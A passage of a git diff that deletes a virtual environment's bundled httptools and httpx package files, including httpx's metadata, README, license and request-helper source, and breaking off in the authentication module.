parsed.field_data[uparser.UF_FRAGMENT].len - fragment = buf_data[off:off+ln] - - if parsed.field_set & (1 << uparser.UF_USERINFO): - off = parsed.field_data[uparser.UF_USERINFO].off - ln = parsed.field_data[uparser.UF_USERINFO].len - userinfo = buf_data[off:off+ln] - - return URL(schema, host, port, path, query, fragment, userinfo) - else: - raise HttpParserInvalidURLError("invalid url {!r}".format(url)) - finally: - PyBuffer_Release(&py_buf) - PyMem_Free(parsed) diff --git a/venv/Lib/site-packages/httptools/py.typed b/venv/Lib/site-packages/httptools/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/httpx-0.28.1.dist-info/INSTALLER b/venv/Lib/site-packages/httpx-0.28.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx-0.28.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/httpx-0.28.1.dist-info/METADATA b/venv/Lib/site-packages/httpx-0.28.1.dist-info/METADATA deleted file mode 100644 index b0d2b196385e98259971519793447c1fd7a9a643..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx-0.28.1.dist-info/METADATA +++ /dev/null @@ -1,203 +0,0 @@ -Metadata-Version: 2.3 -Name: httpx -Version: 0.28.1 -Summary: The next generation HTTP client. -Project-URL: Changelog, https://github.com/encode/httpx/blob/master/CHANGELOG.md -Project-URL: Documentation, https://www.python-httpx.org -Project-URL: Homepage, https://github.com/encode/httpx -Project-URL: Source, https://github.com/encode/httpx -Author-email: Tom Christie -License: BSD-3-Clause -Classifier: Development Status :: 4 - Beta -Classifier: Environment :: Web Environment -Classifier: Framework :: AsyncIO -Classifier: Framework :: Trio -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: BSD License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Topic :: Internet :: WWW/HTTP -Requires-Python: >=3.8 -Requires-Dist: anyio -Requires-Dist: certifi -Requires-Dist: httpcore==1.* -Requires-Dist: idna -Provides-Extra: brotli -Requires-Dist: brotli; (platform_python_implementation == 'CPython') and extra == 'brotli' -Requires-Dist: brotlicffi; (platform_python_implementation != 'CPython') and extra == 'brotli' -Provides-Extra: cli -Requires-Dist: click==8.*; extra == 'cli' -Requires-Dist: pygments==2.*; extra == 'cli' -Requires-Dist: rich<14,>=10; extra == 'cli' -Provides-Extra: http2 -Requires-Dist: h2<5,>=3; extra == 'http2' -Provides-Extra: socks -Requires-Dist: socksio==1.*; extra == 'socks' -Provides-Extra: zstd -Requires-Dist: zstandard>=0.18.0; extra == 'zstd' -Description-Content-Type: text/markdown - -

- HTTPX -

- -

HTTPX - A next-generation HTTP client for Python.

- -

- - Test Suite - - - Package version - -

- -HTTPX is a fully featured HTTP client library for Python 3. It includes **an integrated command line client**, has support for both **HTTP/1.1 and HTTP/2**, and provides both **sync and async APIs**. - ---- - -Install HTTPX using pip: - -```shell -$ pip install httpx -``` - -Now, let's get started: - -```pycon ->>> import httpx ->>> r = httpx.get('https://www.example.org/') ->>> r - ->>> r.status_code -200 ->>> r.headers['content-type'] -'text/html; charset=UTF-8' ->>> r.text -'\n\n\nExample Domain...' -``` - -Or, using the command-line client. - -```shell -$ pip install 'httpx[cli]' # The command line client is an optional dependency. -``` - -Which now allows us to use HTTPX directly from the command-line... - -

- httpx --help -

- -Sending a request... - -

- httpx http://httpbin.org/json -

- -## Features - -HTTPX builds on the well-established usability of `requests`, and gives you: - -* A broadly [requests-compatible API](https://www.python-httpx.org/compatibility/). -* An integrated command-line client. -* HTTP/1.1 [and HTTP/2 support](https://www.python-httpx.org/http2/). -* Standard synchronous interface, but with [async support if you need it](https://www.python-httpx.org/async/). -* Ability to make requests directly to [WSGI applications](https://www.python-httpx.org/advanced/transports/#wsgi-transport) or [ASGI applications](https://www.python-httpx.org/advanced/transports/#asgi-transport). -* Strict timeouts everywhere. -* Fully type annotated. -* 100% test coverage. - -Plus all the standard features of `requests`... - -* International Domains and URLs -* Keep-Alive & Connection Pooling -* Sessions with Cookie Persistence -* Browser-style SSL Verification -* Basic/Digest Authentication -* Elegant Key/Value Cookies -* Automatic Decompression -* Automatic Content Decoding -* Unicode Response Bodies -* Multipart File Uploads -* HTTP(S) Proxy Support -* Connection Timeouts -* Streaming Downloads -* .netrc Support -* Chunked Requests - -## Installation - -Install with pip: - -```shell -$ pip install httpx -``` - -Or, to include the optional HTTP/2 support, use: - -```shell -$ pip install httpx[http2] -``` - -HTTPX requires Python 3.8+. - -## Documentation - -Project documentation is available at [https://www.python-httpx.org/](https://www.python-httpx.org/). - -For a run-through of all the basics, head over to the [QuickStart](https://www.python-httpx.org/quickstart/). - -For more advanced topics, see the [Advanced Usage](https://www.python-httpx.org/advanced/) section, the [async support](https://www.python-httpx.org/async/) section, or the [HTTP/2](https://www.python-httpx.org/http2/) section. - -The [Developer Interface](https://www.python-httpx.org/api/) provides a comprehensive API reference. - -To find out about tools that integrate with HTTPX, see [Third Party Packages](https://www.python-httpx.org/third_party_packages/). - -## Contribute - -If you want to contribute with HTTPX check out the [Contributing Guide](https://www.python-httpx.org/contributing/) to learn how to start. - -## Dependencies - -The HTTPX project relies on these excellent libraries: - -* `httpcore` - The underlying transport implementation for `httpx`. - * `h11` - HTTP/1.1 support. -* `certifi` - SSL certificates. -* `idna` - Internationalized domain name support. -* `sniffio` - Async library autodetection. - -As well as these optional installs: - -* `h2` - HTTP/2 support. *(Optional, with `httpx[http2]`)* -* `socksio` - SOCKS proxy support. *(Optional, with `httpx[socks]`)* -* `rich` - Rich terminal support. *(Optional, with `httpx[cli]`)* -* `click` - Command line client support. *(Optional, with `httpx[cli]`)* -* `brotli` or `brotlicffi` - Decoding for "brotli" compressed responses. *(Optional, with `httpx[brotli]`)* -* `zstandard` - Decoding for "zstd" compressed responses. *(Optional, with `httpx[zstd]`)* - -A huge amount of credit is due to `requests` for the API layout that -much of this work follows, as well as to `urllib3` for plenty of design -inspiration around the lower-level networking details. - ---- - -

HTTPX is BSD licensed code.
Designed & crafted with care.

— 🦋 —

- -## Release Information - -### Fixed - -* Reintroduced supposedly-private `URLTypes` shortcut. (#2673) - - ---- - -[Full changelog](https://github.com/encode/httpx/blob/master/CHANGELOG.md) diff --git a/venv/Lib/site-packages/httpx-0.28.1.dist-info/RECORD b/venv/Lib/site-packages/httpx-0.28.1.dist-info/RECORD deleted file mode 100644 index e517c9bb6c6071f8748895cdfec3f901044c722b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx-0.28.1.dist-info/RECORD +++ /dev/null @@ -1,55 +0,0 @@ -../../Scripts/httpx.exe,sha256=cYDYoIdHEPde5wTrLb7JWlIZBqzT_QvgXQSyvbKzKqY,108384 -httpx-0.28.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -httpx-0.28.1.dist-info/METADATA,sha256=_rubD48-gNV8gZnDBPNcQzboWB0dGNeYPJJ2a4J5OyU,7052 -httpx-0.28.1.dist-info/RECORD,, -httpx-0.28.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -httpx-0.28.1.dist-info/WHEEL,sha256=C2FUgwZgiLbznR-k0b_5k3Ai_1aASOXDss3lzCUsUug,87 -httpx-0.28.1.dist-info/entry_points.txt,sha256=2lVkdQmxLA1pNMgSN2eV89o90HCZezhmNwsy6ryKDSA,37 -httpx-0.28.1.dist-info/licenses/LICENSE.md,sha256=TsWdVE8StfU5o6cW_TIaxYzNgDC0ZSIfLIgCAM3yjY0,1508 -httpx/__init__.py,sha256=CsaZe6yZj0rHg6322AWKWHGTMVr9txgEfD5P3_Rrz60,2171 -httpx/__pycache__/__init__.cpython-314.pyc,, -httpx/__pycache__/__version__.cpython-314.pyc,, -httpx/__pycache__/_api.cpython-314.pyc,, -httpx/__pycache__/_auth.cpython-314.pyc,, -httpx/__pycache__/_client.cpython-314.pyc,, -httpx/__pycache__/_config.cpython-314.pyc,, -httpx/__pycache__/_content.cpython-314.pyc,, -httpx/__pycache__/_decoders.cpython-314.pyc,, -httpx/__pycache__/_exceptions.cpython-314.pyc,, -httpx/__pycache__/_main.cpython-314.pyc,, -httpx/__pycache__/_models.cpython-314.pyc,, -httpx/__pycache__/_multipart.cpython-314.pyc,, -httpx/__pycache__/_status_codes.cpython-314.pyc,, -httpx/__pycache__/_types.cpython-314.pyc,, -httpx/__pycache__/_urlparse.cpython-314.pyc,, -httpx/__pycache__/_urls.cpython-314.pyc,, -httpx/__pycache__/_utils.cpython-314.pyc,, -httpx/__version__.py,sha256=LoUyYeOXTieGzuP_64UL0wxdtxjuu_QbOvE7NOg-IqU,108 -httpx/_api.py,sha256=r_Zgs4jIpcPJLqK5dbbSayqo_iVMKFaxZCd-oOHxLEs,11743 -httpx/_auth.py,sha256=Yr3QwaUSK17rGYx-7j-FdicFIzz4Y9FFV-1F4-7RXX4,11891 -httpx/_client.py,sha256=xD-UG67-WMkeltAAOeGGj-cZ2RRTAm19sWRxlFY7_40,65714 -httpx/_config.py,sha256=pPp2U-wicfcKsF-KYRE1LYdt3e6ERGeIoXZ8Gjo3LWc,8547 -httpx/_content.py,sha256=LGGzrJTR3OvN4Mb1GVVNLXkXJH-6oKlwAttO9p5w_yg,8161 -httpx/_decoders.py,sha256=p0dX8I0NEHexs3UGp4SsZutiMhsXrrWl6-GnqVb0iKM,12041 -httpx/_exceptions.py,sha256=bxW7fxzgVMAdNTbwT0Vnq04gJDW1_gI_GFiQPuMyjL0,8527 -httpx/_main.py,sha256=Cg9GMabiTT_swaDfUgIRitSwxLRMSwUDOm7LdSGqlA4,15626 -httpx/_models.py,sha256=4__Guyv1gLxuZChwim8kfQNiIOcJ9acreFOSurvZfms,44700 -httpx/_multipart.py,sha256=KOHEZZl6oohg9mPaKyyu345qq1rJLg35TUG3YAzXB3Y,9843 -httpx/_status_codes.py,sha256=DYn-2ufBgMeXy5s8x3_TB7wjAuAAMewTakPrm5rXEsc,5639 -httpx/_transports/__init__.py,sha256=GbUoBSAOp7z-l-9j5YhMhR3DMIcn6FVLhj072O3Nnno,275 -httpx/_transports/__pycache__/__init__.cpython-314.pyc,, -httpx/_transports/__pycache__/asgi.cpython-314.pyc,, -httpx/_transports/__pycache__/base.cpython-314.pyc,, -httpx/_transports/__pycache__/default.cpython-314.pyc,, -httpx/_transports/__pycache__/mock.cpython-314.pyc,, -httpx/_transports/__pycache__/wsgi.cpython-314.pyc,, -httpx/_transports/asgi.py,sha256=HRfiDYMPt4wQH2gFgHZg4c-i3sblo6bL5GTqcET-xz8,5501 -httpx/_transports/base.py,sha256=kZS_VMbViYfF570pogUCJ1bulz-ybfL51Pqs9yktebU,2523 -httpx/_transports/default.py,sha256=AzeaRUyVwCccTyyNJexDf0n1dFfzzydpdIQgvw7PLnk,13983 -httpx/_transports/mock.py,sha256=PTo0d567RITXxGrki6kN7_67wwAxfwiMDcuXJiZCjEo,1232 -httpx/_transports/wsgi.py,sha256=NcPX3Xap_EwCFZWO_OaSyQNuInCYx1QMNbO8GAei6jY,4825 -httpx/_types.py,sha256=Jyh41GQq7AOev8IOWKDAg7zCbvHAfufmW5g_PiTtErY,2965 -httpx/_urlparse.py,sha256=ZAmH47ONfkxrrj-PPYhGeiHjb6AjKCS-ANWIN4OL_KY,18546 -httpx/_urls.py,sha256=dX99VR1DSOHpgo9Aq7PzYO4FKdxqKjwyNp8grf8dHN0,21550 -httpx/_utils.py,sha256=_TVeqAKvxJkKHdz7dFeb4s0LZqQXgeFkXSgfiHBK_1o,8285 -httpx/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/httpx-0.28.1.dist-info/REQUESTED b/venv/Lib/site-packages/httpx-0.28.1.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/httpx-0.28.1.dist-info/WHEEL b/venv/Lib/site-packages/httpx-0.28.1.dist-info/WHEEL deleted file mode 100644 index 21aaa72961a8af71c17d2cb3b76d5f7f567100e4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx-0.28.1.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.26.3 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/httpx-0.28.1.dist-info/entry_points.txt b/venv/Lib/site-packages/httpx-0.28.1.dist-info/entry_points.txt deleted file mode 100644 index 8ae96007f7d725813fd02dc1d06d3834ee1939e4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx-0.28.1.dist-info/entry_points.txt +++ /dev/null @@ -1,2 +0,0 @@ -[console_scripts] -httpx = httpx:main diff --git a/venv/Lib/site-packages/httpx-0.28.1.dist-info/licenses/LICENSE.md b/venv/Lib/site-packages/httpx-0.28.1.dist-info/licenses/LICENSE.md deleted file mode 100644 index ab79d16a3f4c6c894c028d1f7431811e8711b42b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx-0.28.1.dist-info/licenses/LICENSE.md +++ /dev/null @@ -1,12 +0,0 @@ -Copyright © 2019, [Encode OSS Ltd](https://www.encode.io/). -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - -* Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/venv/Lib/site-packages/httpx/__init__.py b/venv/Lib/site-packages/httpx/__init__.py deleted file mode 100644 index e9addde071f81758baf350c4ab6bde2556340131..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/__init__.py +++ /dev/null @@ -1,105 +0,0 @@ -from .__version__ import __description__, __title__, __version__ -from ._api import * -from ._auth import * -from ._client import * -from ._config import * -from ._content import * -from ._exceptions import * -from ._models import * -from ._status_codes import * -from ._transports import * -from ._types import * -from ._urls import * - -try: - from ._main import main -except ImportError: # pragma: no cover - - def main() -> None: # type: ignore - import sys - - print( - "The httpx command line client could not run because the required " - "dependencies were not installed.\nMake sure you've installed " - "everything with: pip install 'httpx[cli]'" - ) - sys.exit(1) - - -__all__ = [ - "__description__", - "__title__", - "__version__", - "ASGITransport", - "AsyncBaseTransport", - "AsyncByteStream", - "AsyncClient", - "AsyncHTTPTransport", - "Auth", - "BaseTransport", - "BasicAuth", - "ByteStream", - "Client", - "CloseError", - "codes", - "ConnectError", - "ConnectTimeout", - "CookieConflict", - "Cookies", - "create_ssl_context", - "DecodingError", - "delete", - "DigestAuth", - "get", - "head", - "Headers", - "HTTPError", - "HTTPStatusError", - "HTTPTransport", - "InvalidURL", - "Limits", - "LocalProtocolError", - "main", - "MockTransport", - "NetRCAuth", - "NetworkError", - "options", - "patch", - "PoolTimeout", - "post", - "ProtocolError", - "Proxy", - "ProxyError", - "put", - "QueryParams", - "ReadError", - "ReadTimeout", - "RemoteProtocolError", - "request", - "Request", - "RequestError", - "RequestNotRead", - "Response", - "ResponseNotRead", - "stream", - "StreamClosed", - "StreamConsumed", - "StreamError", - "SyncByteStream", - "Timeout", - "TimeoutException", - "TooManyRedirects", - "TransportError", - "UnsupportedProtocol", - "URL", - "USE_CLIENT_DEFAULT", - "WriteError", - "WriteTimeout", - "WSGITransport", -] - - -__locals = locals() -for __name in __all__: - if not __name.startswith("__"): - setattr(__locals[__name], "__module__", "httpx") # noqa diff --git a/venv/Lib/site-packages/httpx/__version__.py b/venv/Lib/site-packages/httpx/__version__.py deleted file mode 100644 index 801bfacf671017cfbebf1ac26ec385daa02ed260..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/__version__.py +++ /dev/null @@ -1,3 +0,0 @@ -__title__ = "httpx" -__description__ = "A next generation HTTP client, for Python 3." -__version__ = "0.28.1" diff --git a/venv/Lib/site-packages/httpx/_api.py b/venv/Lib/site-packages/httpx/_api.py deleted file mode 100644 index c3cda1ecda8629edbdca2e3bc04bc51dba5e1430..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_api.py +++ /dev/null @@ -1,438 +0,0 @@ -from __future__ import annotations - -import typing -from contextlib import contextmanager - -from ._client import Client -from ._config import DEFAULT_TIMEOUT_CONFIG -from ._models import Response -from ._types import ( - AuthTypes, - CookieTypes, - HeaderTypes, - ProxyTypes, - QueryParamTypes, - RequestContent, - RequestData, - RequestFiles, - TimeoutTypes, -) -from ._urls import URL - -if typing.TYPE_CHECKING: - import ssl # pragma: no cover - - -__all__ = [ - "delete", - "get", - "head", - "options", - "patch", - "post", - "put", - "request", - "stream", -] - - -def request( - method: str, - url: URL | str, - *, - params: QueryParamTypes | None = None, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - trust_env: bool = True, -) -> Response: - """ - Sends an HTTP request. - - **Parameters:** - - * **method** - HTTP method for the new `Request` object: `GET`, `OPTIONS`, - `HEAD`, `POST`, `PUT`, `PATCH`, or `DELETE`. - * **url** - URL for the new `Request` object. - * **params** - *(optional)* Query parameters to include in the URL, as a - string, dictionary, or sequence of two-tuples. - * **content** - *(optional)* Binary content to include in the body of the - request, as bytes or a byte iterator. - * **data** - *(optional)* Form data to include in the body of the request, - as a dictionary. - * **files** - *(optional)* A dictionary of upload files to include in the - body of the request. - * **json** - *(optional)* A JSON serializable object to include in the body - of the request. - * **headers** - *(optional)* Dictionary of HTTP headers to include in the - request. - * **cookies** - *(optional)* Dictionary of Cookie items to include in the - request. - * **auth** - *(optional)* An authentication class to use when sending the - request. - * **proxy** - *(optional)* A proxy URL where all the traffic should be routed. - * **timeout** - *(optional)* The timeout configuration to use when sending - the request. - * **follow_redirects** - *(optional)* Enables or disables HTTP redirects. - * **verify** - *(optional)* Either `True` to use an SSL context with the - default CA bundle, `False` to disable verification, or an instance of - `ssl.SSLContext` to use a custom context. - * **trust_env** - *(optional)* Enables or disables usage of environment - variables for configuration. - - **Returns:** `Response` - - Usage: - - ``` - >>> import httpx - >>> response = httpx.request('GET', 'https://httpbin.org/get') - >>> response - - ``` - """ - with Client( - cookies=cookies, - proxy=proxy, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) as client: - return client.request( - method=method, - url=url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - auth=auth, - follow_redirects=follow_redirects, - ) - - -@contextmanager -def stream( - method: str, - url: URL | str, - *, - params: QueryParamTypes | None = None, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - trust_env: bool = True, -) -> typing.Iterator[Response]: - """ - Alternative to `httpx.request()` that streams the response body - instead of loading it into memory at once. - - **Parameters**: See `httpx.request`. - - See also: [Streaming Responses][0] - - [0]: /quickstart#streaming-responses - """ - with Client( - cookies=cookies, - proxy=proxy, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) as client: - with client.stream( - method=method, - url=url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - auth=auth, - follow_redirects=follow_redirects, - ) as response: - yield response - - -def get( - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - trust_env: bool = True, -) -> Response: - """ - Sends a `GET` request. - - **Parameters**: See `httpx.request`. - - Note that the `data`, `files`, `json` and `content` parameters are not available - on this function, as `GET` requests should not include a request body. - """ - return request( - "GET", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - proxy=proxy, - follow_redirects=follow_redirects, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) - - -def options( - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - trust_env: bool = True, -) -> Response: - """ - Sends an `OPTIONS` request. - - **Parameters**: See `httpx.request`. - - Note that the `data`, `files`, `json` and `content` parameters are not available - on this function, as `OPTIONS` requests should not include a request body. - """ - return request( - "OPTIONS", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - proxy=proxy, - follow_redirects=follow_redirects, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) - - -def head( - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - trust_env: bool = True, -) -> Response: - """ - Sends a `HEAD` request. - - **Parameters**: See `httpx.request`. - - Note that the `data`, `files`, `json` and `content` parameters are not available - on this function, as `HEAD` requests should not include a request body. - """ - return request( - "HEAD", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - proxy=proxy, - follow_redirects=follow_redirects, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) - - -def post( - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - trust_env: bool = True, -) -> Response: - """ - Sends a `POST` request. - - **Parameters**: See `httpx.request`. - """ - return request( - "POST", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - proxy=proxy, - follow_redirects=follow_redirects, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) - - -def put( - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - trust_env: bool = True, -) -> Response: - """ - Sends a `PUT` request. - - **Parameters**: See `httpx.request`. - """ - return request( - "PUT", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - proxy=proxy, - follow_redirects=follow_redirects, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) - - -def patch( - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - follow_redirects: bool = False, - verify: ssl.SSLContext | str | bool = True, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - trust_env: bool = True, -) -> Response: - """ - Sends a `PATCH` request. - - **Parameters**: See `httpx.request`. - """ - return request( - "PATCH", - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - proxy=proxy, - follow_redirects=follow_redirects, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) - - -def delete( - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | None = None, - proxy: ProxyTypes | None = None, - follow_redirects: bool = False, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - verify: ssl.SSLContext | str | bool = True, - trust_env: bool = True, -) -> Response: - """ - Sends a `DELETE` request. - - **Parameters**: See `httpx.request`. - - Note that the `data`, `files`, `json` and `content` parameters are not available - on this function, as `DELETE` requests should not include a request body. - """ - return request( - "DELETE", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - proxy=proxy, - follow_redirects=follow_redirects, - verify=verify, - timeout=timeout, - trust_env=trust_env, - ) diff --git a/venv/Lib/site-packages/httpx/_auth.py b/venv/Lib/site-packages/httpx/_auth.py deleted file mode 100644 index b03971ab4b311d60790dc22ca24d9966426ec0a4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_auth.py +++ /dev/null @@ -1,348 +0,0 @@ -from __future__ import annotations - -import hashlib -import os -import re -import time -import typing -from base64 import b64encode -from urllib.request import parse_http_list - -from ._exceptions import ProtocolError -from ._models import Cookies, Request, Response -from ._utils import to_bytes, to_str, unquote - -if typing.TYPE_CHECKING: # pragma: no cover - from hashlib import _Hash - - -__all__ = ["Auth", "BasicAuth", "DigestAuth", "NetRCAuth"] - - -class Auth: - """ - Base class for all authentication schemes. - - To implement a custom authentication scheme, subclass `Auth` and override - the `.auth_flow()` method. - - If the authentication scheme does I/O such as disk access or network calls, or uses - synchronization primitives such as locks, you should override `.sync_auth_flow()` - and/or `.async_auth_flow()` instead of `.auth_flow()` to provide specialized - implementations that will be used by `Client` and `AsyncClient` respectively. - """ - - requires_request_body = False - requires_response_body = False - - def auth_flow(self, request: Request) -> typing.Generator[Request, Response, None]: - """ - Execute the authentication flow. - - To dispatch a request, `yield` it: - - ``` - yield request - ``` - - The client will `.send()` the response back into the flow generator. You can - access it like so: - - ``` - response = yield request - ``` - - A `return` (or reaching the end of the generator) will result in the - client returning the last response obtained from the server. - - You can dispatch as many requests as is necessary. - """ - yield request - - def sync_auth_flow( - self, request: Request - ) -> typing.Generator[Request, Response, None]: - """ - Execute the authentication flow synchronously. - - By default, this defers to `.auth_flow()`. You should override this method - when the authentication scheme does I/O and/or uses concurrency primitives. - """ - if self.requires_request_body: - request.read() - - flow = self.auth_flow(request) - request = next(flow) - - while True: - response = yield request - if self.requires_response_body: - response.read() - - try: - request = flow.send(response) - except StopIteration: - break - - async def async_auth_flow( - self, request: Request - ) -> typing.AsyncGenerator[Request, Response]: - """ - Execute the authentication flow asynchronously. - - By default, this defers to `.auth_flow()`. You should override this method - when the authentication scheme does I/O and/or uses concurrency primitives. - """ - if self.requires_request_body: - await request.aread() - - flow = self.auth_flow(request) - request = next(flow) - - while True: - response = yield request - if self.requires_response_body: - await response.aread() - - try: - request = flow.send(response) - except StopIteration: - break - - -class FunctionAuth(Auth): - """ - Allows the 'auth' argument to be passed as a simple callable function, - that takes the request, and returns a new, modified request. - """ - - def __init__(self, func: typing.Callable[[Request], Request]) -> None: - self._func = func - - def auth_flow(self, request: Request) -> typing.Generator[Request, Response, None]: - yield self._func(request) - - -class BasicAuth(Auth): - """ - Allows the 'auth' argument to be passed as a (username, password) pair, - and uses HTTP Basic authentication. - """ - - def __init__(self, username: str | bytes, password: str | bytes) -> None: - self._auth_header = self._build_auth_header(username, password) - - def auth_flow(self, request: Request) -> typing.Generator[Request, Response, None]: - request.headers["Authorization"] = self._auth_header - yield request - - def _build_auth_header(self, username: str | bytes, password: str | bytes) -> str: - userpass = b":".join((to_bytes(username), to_bytes(password))) - token = b64encode(userpass).decode() - return f"Basic {token}" - - -class NetRCAuth(Auth): - """ - Use a 'netrc' file to lookup basic auth credentials based on the url host. - """ - - def __init__(self, file: str | None = None) -> None: - # Lazily import 